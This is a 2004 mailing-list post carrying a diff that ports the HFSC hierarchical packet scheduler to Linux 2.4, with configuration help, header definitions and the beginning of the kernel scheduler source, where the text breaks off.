51907 Lines: 2012 This is a multi-part message in MIME format. --------------080808070409000108080707 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit This is the 2.4 version of HFSC. Besides HFSC, it adds the list_for_each_entry_continue macro from 2.6. Best regards, Patrick --------------080808070409000108080707 Content-Type: text/plain; name="2.4-hfsc.diff" Content-Transfer-Encoding: 7bit Content-Disposition: inline; filename="2.4-hfsc.diff" diff -urN linux-2.4/Documentation/Configure.help linux-2.4-hfsc/Documentation/Configure.help --- linux-2.4/Documentation/Configure.help 2004-01-29 15:01:26.000000000 +0100 +++ linux-2.4-hfsc/Documentation/Configure.help 2004-01-29 15:02:35.000000000 +0100 @@ -10647,6 +10647,15 @@ whenever you want). If you want to compile it as a module, say M here and read . +CONFIG_NET_SCH_HFSC + Say Y here if you want to use the Hierarchical Fair Service Curve + (HFSC) packet scheduling algorithm for some of your network devices. + + This code is also available as a module called sch_hfsc.o ( = code + which can be inserted in and removed from the running kernel + whenever you want). If you want to compile it as a module, say M + here and read . + CSZ packet scheduler CONFIG_NET_SCH_CSZ Say Y here if you want to use the Clark-Shenker-Zhang (CSZ) packet diff -urN linux-2.4/include/linux/list.h linux-2.4-hfsc/include/linux/list.h --- linux-2.4/include/linux/list.h 2004-01-29 14:59:37.000000000 +0100 +++ linux-2.4-hfsc/include/linux/list.h 2004-01-29 15:02:10.000000000 +0100 @@ -240,6 +240,20 @@ &pos->member != (head); \ pos = n, n = list_entry(n->member.next, typeof(*n), member)) +/** + * list_for_each_entry_continue - iterate over list of given type + * continuing after existing point + * @pos: the type * to use as a loop counter. + * @head: the head for your list. + * @member: the name of the list_struct within the struct. + */ +#define list_for_each_entry_continue(pos, head, member) \ + for (pos = list_entry(pos->member.next, typeof(*pos), member), \ + prefetch(pos->member.next); \ + &pos->member != (head); \ + pos = list_entry(pos->member.next, typeof(*pos), member), \ + prefetch(pos->member.next)) + #endif /* __KERNEL__ || _LVM_H_INCLUDE */ #endif diff -urN linux-2.4/include/linux/pkt_sched.h linux-2.4-hfsc/include/linux/pkt_sched.h --- linux-2.4/include/linux/pkt_sched.h 2004-01-29 15:01:06.000000000 +0100 +++ linux-2.4-hfsc/include/linux/pkt_sched.h 2004-01-29 15:02:29.000000000 +0100 @@ -290,6 +290,37 @@ __u32 ctokens; }; +/* HFSC section */ + +struct tc_hfsc_qopt +{ + __u16 defcls; /* default class */ +}; + +struct tc_service_curve +{ + __u32 m1; /* slope of the first segment in bps */ + __u32 d; /* x-projection of the first segment in us */ + __u32 m2; /* slope of the second segment in bps */ +}; + +struct tc_hfsc_stats +{ + __u64 work; /* total work done */ + __u64 rtwork; /* work done by real-time criteria */ + __u32 period; /* current period */ + __u32 level; /* class level in hierarchy */ +}; + +enum +{ + TCA_HFSC_UNSPEC, + TCA_HFSC_RSC, + TCA_HFSC_FSC, + TCA_HFSC_USC, + TCA_HFSC_MAX = TCA_HFSC_USC +}; + /* CBQ section */ #define TC_CBQ_MAXPRIO 8 diff -urN linux-2.4/include/net/pkt_sched.h linux-2.4-hfsc/include/net/pkt_sched.h --- linux-2.4/include/net/pkt_sched.h 2004-01-29 14:59:59.000000000 +0100 +++ linux-2.4-hfsc/include/net/pkt_sched.h 2004-01-29 15:02:12.000000000 +0100 @@ -198,6 +198,7 @@ #define PSCHED_GET_TIME(stamp) do_gettimeofday(&(stamp)) #define PSCHED_US2JIFFIE(usecs) (((usecs)+(1000000/HZ-1))/(1000000/HZ)) +#define PSCHED_JIFFIE2US(delay) ((delay)*(1000000/HZ)) #define PSCHED_EXPORTLIST EXPORT_SYMBOL(psched_tod_diff); @@ -246,6 +247,7 @@ #endif #define PSCHED_US2JIFFIE(delay) (((delay)+(1<>PSCHED_JSCALE) +#define PSCHED_JIFFIE2US(delay) ((delay)< + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public License + * as published by the Free Software Foundation; either version 2 + * of the License, or (at your option) any later version. + * + * 2003-10-17 - Ported from altq + */ +/* + * Copyright (c) 1997-1999 Carnegie Mellon University. All Rights Reserved. + * + * Permission to use, copy, modify, and distribute this software and + * its documentation is hereby granted (including for commercial or + * for-profit use), provided that both the copyright notice and this + * permission notice appear in all copies of the software, derivative + * works, or modified versions, and any portions thereof. + * + * THIS SOFTWARE IS EXPERIMENTAL AND IS KNOWN TO HAVE BUGS, SOME OF + * WHICH MAY HAVE SERIOUS CONSEQUENCES. CARNEGIE MELLON PROVIDES THIS + * SOFTWARE IN ITS ``AS IS'' CONDITION, AND ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES + * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE + * DISCLAIMED. IN NO EVENT SHALL CARNEGIE MELLON UNIVERSITY BE LIABLE + * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR + * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT + * OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR + * BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF + * LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE + * USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH + * DAMAGE. + * + * Carnegie Mellon encourages (but does not require) users of this + * software to return any improvements or extensions that they make, + * and to grant Carnegie Mellon the rights to redistribute these + * changes without encumbrance. + */ +/* + * H-FSC is described in Proceedings of SIGCOMM'97, + * "A Hierarchical Fair Service Curve Algorithm for Link-Sharing, + * Real-Time and Priority Service" + * by Ion Stoica, Hui Zhang, and T. S. Eugene Ng. + * + * Oleg Cherevko added the upperlimit for link-sharing. + * when a class has an upperlimit, the fit-time is computed from the + * upperlimit service curve. the link-sharing scheduler does not schedule + * a class whose fit-time exceeds the current time. + */ + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#define HFSC_DEBUG 1 + +/* + * kernel internal service curve representation: + * coordinates are given by 64 bit unsigned integers. + * x-axis: unit is clock count. + * y-axis: unit is byte. + * + * The service curve parameters are converted to the internal + * representation. The slope values are scaled to avoid overflow. + * the inverse slope values as well as the y-projection of the 1st + * segment are kept in order to to avoid 64-bit divide operations + * that are expensive on 32-bit architectures. + */ + +struct internal_sc +{ + u_int64_t sm1; /* scaled slope of the 1st segment */ + u_int64_t ism1; /* scaled inverse-slope of the 1st segment */ + u_int64_t dx; /* the x-projection of the 1st segment */ + u_int64_t dy; /* the y-projection of the 1st segment */ + u_int64_t sm2; /* scaled slope of the 2nd segment */ + u_int64_t ism2; /* scaled inverse-slope of the 2nd segment */ +}; + +/* runtime service curve */ +struct runtime_sc +{ + u_int64_t x; /* current starting position on x-axis */ + u_int64_t y; /* current starting position on y-axis */ + u_int64_t sm1; /* scaled slope of the 1st segment */ + u_int64_t ism1; /* scaled inverse-slope of the 1st segment */ + u_int64_t dx; /* the x-projection of the 1st segment */ + u_int64_t dy; /* the y-projection of the 1st segment */ + u_int64_t sm2; /* scaled slope of the 2nd segment */ + u_int64_t ism2; /* scaled inverse-slope of the 2nd segment */ +}; + +enum hfsc_class_flags +{ + HFSC_RSC = 0x1, + HFSC_FSC = 0x2, + HFSC_USC = 0x4 +}; + +struct hfsc_class +{ + u_int32_t classid; /* class id */ + unsigned int refcnt; /* usage count */ + + struct tc_stats stats; /* generic statistics */ + unsigned int level; /* class level in hierarchy */ + struct tcf_proto *filter_list; /* filter list */ + unsigned int filter_cnt; /* filter count */ + + struct hfsc_sched *sched; /* scheduler data */ + struct hfsc_class *cl_parent; /* parent class */ + struct list_head siblings; /* sibling classes */ + struct list_head children; /* child classes */ + struct Qdisc *qdisc; /* leaf qdisc */ + + struct list_head actlist; /* active children list */ + struct list_head alist; /* active children list member */ + struct list_head ellist; /* eligible list member */ + struct list_head hlist; /* hash list member */ + struct list_head dlist; /* drop list member */ + + u_int64_t cl_total; /* total work in bytes */ + u_int64_t cl_cumul; /* cumulative work in bytes done by + real-time criteria */ + + u_int64_t cl_d; /* deadline*/ + u_int64_t cl_e; /* eligible time */ + u_int64_t cl_vt; /* virtual time */ + u_int64_t cl_f; /* time when this class will fit for + link-sharing, max(myf, cfmin) */ + u_int64_t cl_myf; /* my fit-time (calculated from this + class's own upperlimit curve) */ + u_int64_t cl_myfadj; /* my fit-time adjustment (to cancel + history dependence) */ + u_int64_t cl_cfmin; /* earliest children's fit-time (used + with cl_myf to obtain cl_f) */ + u_int64_t cl_cvtmin; /* minimal virtual time among the + children fit for link-sharing + (monotonic within a period) */ + u_int64_t cl_vtadj; /* intra-period cumulative vt + adjustment */ + u_int64_t cl_vtoff; /* inter-period cumulative vt offset */ + u_int64_t cl_cvtmax; /* max child's vt in the last period */ + + struct internal_sc cl_rsc; /* internal real-time service curve */ + struct internal_sc cl_fsc; /* internal fair service curve */ + struct internal_sc cl_usc; /* internal upperlimit service curve */ + struct runtime_sc cl_deadline; /* deadline curve */ + struct runtime_sc cl_eligible; /* eligible curve */ + struct runtime_sc cl_virtual; /* virtual curve */ + struct runtime_sc cl_ulimit; /* upperlimit curve */ + + unsigned long cl_flags; /* which curves are valid */ + unsigned long cl_vtperiod; /* vt period sequence number */ + unsigned long cl_parentperiod;/* parent's vt period sequence number*/ + unsigned long cl_nactive; /* number of active children */ +}; + +#define HFSC_HSIZE 16 + +struct hfsc_sched +{ + u_int16_t defcls; /* default class id */ + + struct hfsc_class root; /* root class */ + struct hfsc_class *last_xmit; /* class that transmitted last + packet (for requeueing) */ + struct list_head clhash[HFSC_HSIZE]; /* class hash */ + struct list_head eligible; /* eligible list */ + struct list_head droplist; /* active leaf class list (for + dropping) */ + struct timer_list wd_timer; /* watchdog timer */ +}; + +/* + * macros + */ +#if PSCHED_CLOCK_SOURCE == PSCHED_GETTIMEOFDAY +#include +#undef PSCHED_GET_TIME +#define PSCHED_GET_TIME(stamp) \ +do { \ + struct timeval tv; \ + do_gettimeofday(&tv); \ + (stamp) = 1000000ULL * tv.tv_sec + tv.tv_usec; \ +} while (0) +#endif + +#if HFSC_DEBUG +#define ASSERT(cond) \ +do { \ + if (unlikely(!(cond))) \ + printk("assertion %s failed at %s:%i (%s)\n", \ + #cond, __FILE__, __LINE__, __FUNCTION__); \ +} while (0) +#else +#define ASSERT(cond) +#endif /* HFSC_DEBUG */ + +#define HT_INFINITY 0xffffffffffffffffULL /* infinite time value */ + + +/* + * eligible list holds backlogged classes being sorted by their eligible times. + * there is one eligible list per hfsc instance. + */ + +static void +ellist_insert(struct hfsc_class *cl) +{ + struct list_head *head = &cl->sched->eligible; + struct hfsc_class *p; + + /* check the last entry first */ + if (list_empty(head) || + ((p = list_entry(head->prev, struct hfsc_class, ellist)) && + p->cl_e <= cl->cl_e)) { + list_add_tail(&cl->ellist, head); + return; + } + + list_for_each_entry(p, head, ellist) { + if (cl->cl_e < p->cl_e) { + /* insert cl before p */ + list_add_tail(&cl->ellist, &p->ellist); + return; + } + } + ASSERT(0); /* should not reach here */ +} + +static inline void +ellist_remove(struct hfsc_class *cl) +{ + list_del(&cl->ellist); +} + +static void +ellist_update(struct hfsc_class *cl) +{ + struct list_head *head = &cl->sched->eligible; + struct hfsc_class *p, *last; + + /* + * the eligible time of a class increases monotonically. + * if the next entry has a larger eligible time, nothing to do. + */ + if (cl->ellist.next == head || + ((p = list_entry(cl->ellist.next, struct hfsc_class, ellist)) && + cl->cl_e <= p->cl_e)) + return; + + /* check the last entry */ + last = list_entry(head->prev, struct hfsc_class, ellist); + if (last->cl_e <= cl->cl_e) { + list_move_tail(&cl->ellist, head); + return; + } + + /* + * the new position must be between the next entry + * and the last entry + */ + list_for_each_entry_continue(p, head, ellist) { + if (cl->cl_e < p->cl_e) { + list_move_tail(&cl->ellist, &p->ellist); + return; + } + } + ASSERT(0); /* should not reach here */ +} + +/* find the class with the minimum deadline among the eligible classes */ +static inline struct hfsc_class * +ellist_get_mindl(struct list_head *head, u_int64_t cur_time) +{ + struct hfsc_class *p, *cl = NULL; + + list_for_each_entry(p, head, ellist) { + if (p->cl_e > cur_time) + break; + if (cl == NULL || p->cl_d < cl->cl_d) + cl = p; + } + return cl; +} + +/* find the class with minimum eligible time among the eligible classes */ +static inline struct hfsc_class * +ellist_get_minel(struct list_head *head) +{ + if (list_empty(head)) + return NULL; + return list_entry(head->next, struct hfsc_class, ellist); +} + +/* + * active children list holds backlogged child classes being sorted + * by their virtual time. each intermediate class has one active + * children list. + */ +static void +actlist_insert(struct hfsc_class *cl) +{ + struct list_head *head = &cl->cl_parent->actlist; + struct hfsc_class *p; + + /* check the last entry first */ + if (list_empty(head) || + ((p = list_entry(head->prev, struct hfsc_class, alist)) && + p->cl_vt <= cl->cl_vt)) { + list_add_tail(&cl->alist, head); + return; + } + + list_for_each_entry(p, head, alist) { + if (cl->cl_vt < p->cl_vt) { + /* insert cl before p */ + list_add_tail(&cl->alist, &p->alist); + return; + } + } + ASSERT(0); /* should not reach here */ +} + +static inline void +actlist_remove(struct hfsc_class *cl) +{ + list_del(&cl->alist); +} + +static void +actlist_update(struct hfsc_class *cl) +{ + struct list_head *head = &cl->cl_parent->actlist; + struct hfsc_class *p, *last; + + /* + * the virtual time of a class increases monotonically. + * if the next entry has a larger virtual time, nothing to do. + */ + if (cl->alist.next == head || + ((p = list_entry(cl->alist.next, struct hfsc_class, alist)) && + cl->cl_vt <= p->cl_vt)) + return; + + /* check the last entry */ + last = list_entry(head->prev, struct hfsc_class, alist); + if (last->cl_vt <= cl->cl_vt) { + list_move_tail(&cl->alist, head); + return; + } + + /* + * the new position must be between the next entry + * and the last entry + */ + list_for_each_entry_continue(p, head, alist) { + if (cl->cl_vt < p->cl_vt) { + list_move_tail(&cl->alist, &p->alist); + return; + } + } + ASSERT(0); /* should not reach here */ +} + +static inline struct hfsc_class * +actlist_firstfit(struct hfsc_class *cl, u_int64_t cur_time) +{ + struct hfsc_class *p; + + list_for_each_entry(p, &cl->actlist, alist) { + if (p->cl_f <= cur_time) { + return p; + } + } + return NULL; +} + +/* + * get the leaf class with the minimum vt in the hierarchy + */ +static struct hfsc_class * +actlist_get_minvt(struct hfsc_class *cl, u_int64_t cur_time) +{ + /* if root-class's cfmin is bigger than cur_time nothing to do */ + if (cl->cl_cfmin > cur_time) + return NULL; + + while (cl->level > 0) { + cl = actlist_firstfit(cl, cur_time); + if (cl == NULL) + return NULL; + /* + * update parent's cl_cvtmin. + */ + if (cl->cl_parent->cl_cvtmin < cl->cl_vt) + cl->cl_parent->cl_cvtmin = cl->cl_vt; + } + return cl; +} + +/* + * service curve support functions + * + * external service curve parameters + * m: bps + * d: us + * internal service curve parameters + * sm: (bytes/psched_us) << SM_SHIFT + * ism: (psched_us/byte) << ISM_SHIFT + * dx: psched_us + * + * Time source resolution + * PSCHED_JIFFIES: for 48<=HZ<=1534 resolution is between 0.63us and 1.27us. + * PSCHED_CPU: resolution is between 0.5us and 1us. + * PSCHED_GETTIMEOFDAY: resolution is exactly 1us. + * + * sm and ism are scaled in order to keep effective digits. + * SM_SHIFT and ISM_SHIFT are selected to keep at least 4 effective + * digits in decimal using the following table. + * + * Note: We can afford the additional accuracy (altq hfsc keeps at most + * 3 effective digits) thanks to the fact that linux clock is bounded + * much more tightly. + * + * bits/sec 100Kbps 1Mbps 10Mbps 100Mbps 1Gbps + * ------------+------------------------------------------------------- + * bytes/0.5us 6.25e-3 62.5e-3 625e-3 6250e-e 62500e-3 + * bytes/us 12.5e-3 125e-3 1250e-3 12500e-3 125000e-3 + * bytes/1.27us 15.875e-3 158.75e-3 1587.5e-3 15875e-3 158750e-3 + * + * 0.5us/byte 160 16 1.6 0.16 0.016 + * us/byte 80 8 0.8 0.08 0.008 + * 1.27us/byte 63 6.3 0.63 0.063 0.0063 + */ +#define SM_SHIFT 20 +#define ISM_SHIFT 18 + +#define SM_MASK ((1ULL << SM_SHIFT) - 1) +#define ISM_MASK ((1ULL << ISM_SHIFT) - 1) + +static inline u_int64_t +seg_x2y(u_int64_t x, u_int64_t sm) +{ + u_int64_t y; + + /* + * compute + * y = x * sm >> SM_SHIFT + * but divide it for the upper and lower bits to avoid overflow + */ + y = (x >> SM_SHIFT) * sm + (((x & SM_MASK) * sm) >> SM_SHIFT); + return y; +} + +static inline u_int64_t +seg_y2x(u_int64_t y, u_int64_t ism) +{ + u_int64_t x; + + if (y == 0) + x = 0; + else if (ism == HT_INFINITY) + x = HT_INFINITY; + else { + x = (y >> ISM_SHIFT) * ism + + (((y & ISM_MASK) * ism) >> ISM_SHIFT); + } + return x; +} + +/* Convert m (bps) into sm (bytes/psched us) */ +static u_int64_t +m2sm(u_int32_t m) +{ + u_int64_t sm; + + sm = ((u_int64_t)m << SM_SHIFT); + sm += PSCHED_JIFFIE2US(HZ) - 1; + do_div(sm, PSCHED_JIFFIE2US(HZ)); + return sm; +} + +/* convert m (bps) into ism (psched us/byte) */ +static u_int64_t +m2ism(u_int32_t m) +{ + u_int64_t ism; + + if (m == 0) + ism = HT_INFINITY; + else { + ism = ((u_int64_t)PSCHED_JIFFIE2US(HZ) << ISM_SHIFT); + ism += m - 1; + do_div(ism, m); + } + return ism; +} + +/* convert d (us) into dx (psched us) */ +static u_int64_t +d2dx(u_int32_t d) +{ + u_int64_t dx; + + dx = ((u_int64_t)d * PSCHED_JIFFIE2US(HZ)); + dx += 1000000 - 1; + do_div(dx, 1000000); + return dx; +} + +/* convert sm (bytes/psched us) into m (bps) */ +static u_int32_t +sm2m(u_int64_t sm) +{ + u_int64_t m; + + m = (sm * PSCHED_JIFFIE2US(HZ)) >> SM_SHIFT; + return (u_int32_t)m; +} + +/* convert dx (psched us) into d (us) */ +static u_int32_t +dx2d(u_int64_t dx) +{ + u_int64_t d; + + d = dx * 1000000; + do_div(d, PSCHED_JIFFIE2US(HZ)); + return (u_int32_t)d; +} + +static void +sc2isc(struct tc_service_curve *sc, struct internal_sc *isc) +{ + isc->sm1 = m2sm(sc->m1); + isc->ism1 = m2ism(sc->m1); + isc->dx = d2dx(sc->d); + isc->dy = seg_x2y(isc->dx, isc->sm1); + isc->sm2 = m2sm(sc->m2); + isc->ism2 = m2ism(sc->m2); +} + +/* + * initialize the runtime service curve with the given internal + * service curve starting at (x, y). + */ +static void +rtsc_init(struct runtime_sc *rtsc, struct internal_sc *isc, u_int64_t x, + u_int64_t y) +{ + rtsc->x = x; + rtsc->y = y; + rtsc->sm1 = isc->sm1; + rtsc->ism1 = isc->ism1; + rtsc->dx = isc->dx; + rtsc->dy = isc->dy; + rtsc->sm2 = isc->sm2; + rtsc->ism2 = isc->ism2; +} + +/* + * calculate the y-projection of the runtime service curve by the + * given x-projection value + */ +static u_int64_t +rtsc_y2x(struct runtime_sc *rtsc, u_int64_t y) +{ + u_int64_t x; + + if (y < rtsc->y) + x = rtsc->x; + else if (y <= rtsc->y + rtsc->dy) { + /* x belongs to the 1st segment */ + if (rtsc->dy == 0) + x = rtsc->x + rtsc->dx; + else + x = rtsc->x + seg_y2x(y - rtsc->y, rtsc->ism1); + } else { + /* x belongs to the 2nd segment */ + x = rtsc->x + rtsc->dx + + seg_y2x(y - rtsc->y - rtsc->dy, rtsc->ism2); + } + return x; +} + +static u_int64_t +rtsc_x2y(struct runtime_sc *rtsc, u_int64_t x) +{ + u_int64_t y; + + if (x <= rtsc->x) + y = rtsc->y; + else if (x <= rtsc->x + rtsc->dx) + /* y belongs to the 1st segment */ + y = rtsc->y + seg_x2y(x - rtsc->x, rtsc->sm1); + else + /* y belongs to the 2nd segment */ + y = rtsc->y + rtsc->dy + + seg_x2y(x - rtsc->x - rtsc->dx, rtsc->sm2); + return y; +} + +/* + * update the runtime service curve by taking the minimum of the current + * runtime service curve and the service curve starting at (x, y). + */ +static void +rtsc_min(struct runtime_sc *rtsc, struct internal_sc *isc, u_int64_t x, + u_int64_t y) +{ + u_int64_t y1, y2, dx, dy; + u_int32_t dsm; + + if (isc->sm1 <= isc->sm2) { + /* service curve is convex */ + y1 = rtsc_x2y(rtsc, x); + if (y1 < y) + /* the current rtsc is smaller */ + return; + rtsc->x = x; + rtsc->y = y; + return; + } + + /* + * service curve is concave + * compute the two y values of the current rtsc + * y1: at x + * y2: at (x + dx) + */ + y1 = rtsc_x2y(rtsc, x); + if (y1 <= y) { + /* rtsc is below isc, no change to rtsc */ + return; + } + + y2 = rtsc_x2y(rtsc, x + isc->dx); + if (y2 >= y + isc->dy) { + /* rtsc is above isc, replace rtsc by isc */ + rtsc->x = x; + rtsc->y = y; + rtsc->dx = isc->dx; + rtsc->dy = isc->dy; + return; + } + + /* + * the two curves intersect + * compute the offsets (dx, dy) using the reverse + * function of seg_x2y() + * seg_x2y(dx, sm1) == seg_x2y(dx, sm2) + (y1 - y) + */ + dx = (y1 - y) << SM_SHIFT; + dsm = isc->sm1 - isc->sm2; + do_div(dx, dsm); + /* + * check if (x, y1) belongs to the 1st segment of rtsc. + * if so, add the offset. + */ + if (rtsc->x + rtsc->dx > x) + dx += rtsc->x + rtsc->dx - x; + dy = seg_x2y(dx, isc->sm1); + + rtsc->x = x; + rtsc->y = y; + rtsc->dx = dx; + rtsc->dy = dy; + return; +} + +static void +init_ed(struct hfsc_class *cl, unsigned int next_len) +{ + u_int64_t cur_time; + + PSCHED_GET_TIME(cur_time); + + /* update the deadline curve */ + rtsc_min(&cl->cl_deadline, &cl->cl_rsc, cur_time, cl->cl_cumul); + + /* + * update the eligible curve. + * for concave, it is equal to the deadline curve. + * for convex, it is a linear curve with slope m2. + */ + cl->cl_eligible = cl->cl_deadline; + if (cl->cl_rsc.sm1 <= cl->cl_rsc.sm2) { + cl->cl_eligible.dx = 0; + cl->cl_eligible.dy = 0; + } + + /* compute e and d */ + cl->cl_e = rtsc_y2x(&cl->cl_eligible, cl->cl_cumul); + cl->cl_d = rtsc_y2x(&cl->cl_deadline, cl->cl_cumul + next_len); + + ellist_insert(cl); +} + +static void +update_ed(struct hfsc_class *cl, unsigned int next_len) +{ + cl->cl_e = rtsc_y2x(&cl->cl_eligible, cl->cl_cumul); + cl->cl_d = rtsc_y2x(&cl->cl_deadline, cl->cl_cumul + next_len); + + ellist_update(cl); +} + +static inline void +update_d(struct hfsc_class *cl, unsigned int next_len) +{ + cl->cl_d = rtsc_y2x(&cl->cl_deadline, cl->cl_cumul + next_len); +} + +static void +update_cfmin(struct hfsc_class *cl) +{ + struct hfsc_class *p; + u_int64_t cfmin; + + if (list_empty(&cl->actlist)) { + cl->cl_cfmin = 0; + return; + } + cfmin = HT_INFINITY; + list_for_each_entry(p, &cl->actlist, alist) { + if (p->cl_f == 0) { + cl->cl_cfmin = 0; + return; + } + if (p->cl_f < cfmin) + cfmin = p->cl_f; + } + cl->cl_cfmin = cfmin; +} + +static void +init_vf(struct hfsc_class *cl, unsigned int len) +{ + struct hfsc_class *max_cl, *p; + u_int64_t vt, f, cur_time; + int go_active; + + cur_time = 0; + go_active = 1; + for (; cl->cl_parent != NULL; cl = cl->cl_parent) { + if (go_active && cl->cl_nactive++ == 0) + go_active = 1; + else + go_active = 0; + + if (go_active) { + if (!list_empty(&cl->cl_parent->actlist)) { + max_cl = list_entry(cl->cl_parent->actlist.prev, + struct hfsc_class, alist); + /* + * set vt to the average of the min and max + * classes. if the parent's period didn't + * change, don't decrease vt of the class. + */ + vt = max_cl->cl_vt; + if (cl->cl_parent->cl_cvtmin != 0) + vt = (cl->cl_parent->cl_cvtmin + vt)/2; + + if (cl->cl_parent->cl_vtperiod != + cl->cl_parentperiod || vt > cl->cl_vt) + cl->cl_vt = vt; + } else { + /* + * first child for a new parent backlog period. + * add parent's cvtmax to vtoff of children + * to make a new vt (vtoff + vt) larger than + * the vt in the last period for all children. + */ + vt = cl->cl_parent->cl_cvtmax; + list_for_each_entry(p, &cl->cl_parent->children, + siblings) + p->cl_vtoff += vt; + cl->cl_vt = 0; + cl->cl_parent->cl_cvtmax = 0; + cl->cl_parent->cl_cvtmin = 0; + } + + /* update the virtual curve */ + vt = cl->cl_vt + cl->cl_vtoff; + rtsc_min(&cl->cl_virtual, &cl->cl_fsc, vt, + cl->cl_total); + if (cl->cl_virtual.x == vt) { + cl->cl_virtual.x -= cl->cl_vtoff; + cl->cl_vtoff = 0; + } + cl->cl_vtadj = 0; + + cl->cl_vtperiod++; /* increment vt period */ + cl->cl_parentperiod = cl->cl_parent->cl_vtperiod; + if (cl->cl_parent->cl_nactive == 0) + cl->cl_parentperiod++; + cl->cl_f = 0; + + actlist_insert(cl); + + if (cl->cl_flags & HFSC_USC) { + /* class has upper limit curve */ + if (cur_time == 0) + PSCHED_GET_TIME(cur_time); + + /* update the ulimit curve */ + rtsc_min(&cl->cl_ulimit, &cl->cl_usc, cur_time, + cl->cl_total); + /* compute myf */ + cl->cl_myf = rtsc_y2x(&cl->cl_ulimit, + cl->cl_total); + cl->cl_myfadj = 0; + } + } + + f = max(cl->cl_myf, cl->cl_cfmin); + if (f != cl->cl_f) { + cl->cl_f = f; + update_cfmin(cl->cl_parent); + } + } +} + +static void +update_vf(struct hfsc_class *cl, unsigned int len, u_int64_t cur_time) +{ + u_int64_t f; /* , myf_bound, delta; */ + int go_passive = 0; + + if (cl->qdisc->q.qlen == 0 && cl->cl_flags & HFSC_FSC) + go_passive = 1; + + for (; cl->cl_parent != NULL; cl = cl->cl_parent) { + cl->cl_total += len; + + if (!(cl->cl_flags & HFSC_FSC) || cl->cl_nactive == 0) + continue; + + if (go_passive && --cl->cl_nactive == 0) + go_passive = 1; + else + go_passive = 0; + + if (go_passive) { + /* no more active child, going passive */ + + /* update cvtmax of the parent class */ + if (cl->cl_vt > cl->cl_parent->cl_cvtmax) + cl->cl_parent->cl_cvtmax = cl->cl_vt; + + /* remove this class from the vt list */ + actlist_remove(cl); + + update_cfmin(cl->cl_parent); + + continue; + } + + /* + * update vt and f + */ + cl->cl_vt = rtsc_y2x(&cl->cl_virtual, cl->cl_total) + - cl->cl_vtoff + cl->cl_vtadj; + + /* + * if vt of the class is smaller than cvtmin, + * the class was skipped in the past due to non-fit. + * if so, we need to adjust vtadj. + */ + if (cl->cl_vt < cl->cl_parent->cl_cvtmin) { + cl->cl_vtadj += cl->cl_parent->cl_cvtmin - cl->cl_vt; + cl->cl_vt = cl->cl_parent->cl_cvtmin; + } + + /* update the vt list */ + actlist_update(cl); + + if (cl->cl_flags & HFSC_USC) { + cl->cl_myf = cl->cl_myfadj + rtsc_y2x(&cl->cl_ulimit, + cl->cl_total); +#if 0 + /* + * This code causes classes to stay way under their + * limit when multiple classes are used at gigabit + * speed. needs investigation. -kaber + */ + /* + * if myf lags behind by more than one clock tick + * from the current time, adjust myfadj to prevent + * a rate-limited class from going greedy. + * in a steady state under rate-limiting, myf + * fluctuates within one clock tick. + */ + myf_bound = cur_time - PSCHED_JIFFIE2US(1); + if (cl->cl_myf < myf_bound) { + delta = cur_time - cl->cl_myf; + cl->cl_myfadj += delta; + cl->cl_myf += delta; + } +#endif + } + + f = max(cl->cl_myf, cl->cl_cfmin); + if (f != cl->cl_f) { + cl->cl_f = f; + update_cfmin(cl->cl_parent); + } + } +} + +static void +set_active(struct hfsc_class *cl, unsigned int len) +{ + if (cl->cl_flags & HFSC_RSC) + init_ed(cl, len); + if (cl->cl_flags & HFSC_FSC) + init_vf(cl, len); + + list_add_tail(&cl->dlist, &cl->sched->droplist); +} + +static void +set_passive(struct hfsc_class *cl) +{ + if (cl->cl_flags & HFSC_RSC) + ellist_remove(cl); + + list_del(&cl->dlist); + + /* + * actlist is now handled in update_vf() so that update_vf(cl, 0, 0) + * needs to be called explicitly to remove a class from actlist + */ +} + +/* + * hack to get length of first packet in queue. + */ +static unsigned int +qdisc_peek_len(struct Qdisc *sch) +{ + struct sk_buff *skb; + unsigned int len; + + skb = sch->dequeue(sch); + if (skb == NULL) { + if (net_ratelimit()) + printk("qdisc_peek_len: non work-conserving qdisc ?\n"); + return 0; + } + len = skb->len; + if (unlikely(sch->ops->requeue(skb, sch) != NET_XMIT_SUCCESS)) { + if (net_ratelimit()) + printk("qdisc_peek_len: failed to requeue\n"); + return 0; + } + return len; +} + +static void +hfsc_purge_queue(struct Qdisc *sch, struct hfsc_class *cl) +{ + unsigned int len = cl->qdisc->q.qlen; + + qdisc_reset(cl->qdisc); + if (len > 0) { + update_vf(cl, 0, 0); + set_passive(cl); + sch->q.qlen -= len; + } +} + +static void +hfsc_adjust_levels(struct hfsc_class *cl) +{ + struct hfsc_class *p; + unsigned int level; + + do { + level = 0; + list_for_each_entry(p, &cl->children, siblings) { + if (p->level > level) + level = p->level; + } + cl->level = level + 1; + } while ((cl = cl->cl_parent) != NULL); +} + +static inline unsigned int +hfsc_hash(u_int32_t h) +{ + h ^= h >> 8; + h ^= h >> 4; + + return h & (HFSC_HSIZE - 1); +} + +static inline struct hfsc_class * +hfsc_find_class(u_int32_t classid, struct Qdisc *sch) +{ + struct hfsc_sched *q = (struct hfsc_sched *)sch->data; + struct hfsc_class *cl; + + list_for_each_entry(cl, &q->clhash[hfsc_hash(classid)], hlist) { + if (cl->classid == classid) + return cl; + } + return NULL; +} + +static void +hfsc_change_rsc(struct hfsc_class *cl, struct tc_service_curve *rsc, + u_int64_t cur_time) +{ + sc2isc(rsc, &cl->cl_rsc); + rtsc_init(&cl->cl_deadline, &cl->cl_rsc, cur_time, cl->cl_cumul); + cl->cl_eligible = cl->cl_deadline; + if (cl->cl_rsc.sm1 <= cl->cl_rsc.sm2) { + cl->cl_eligible.dx = 0; + cl->cl_eligible.dy 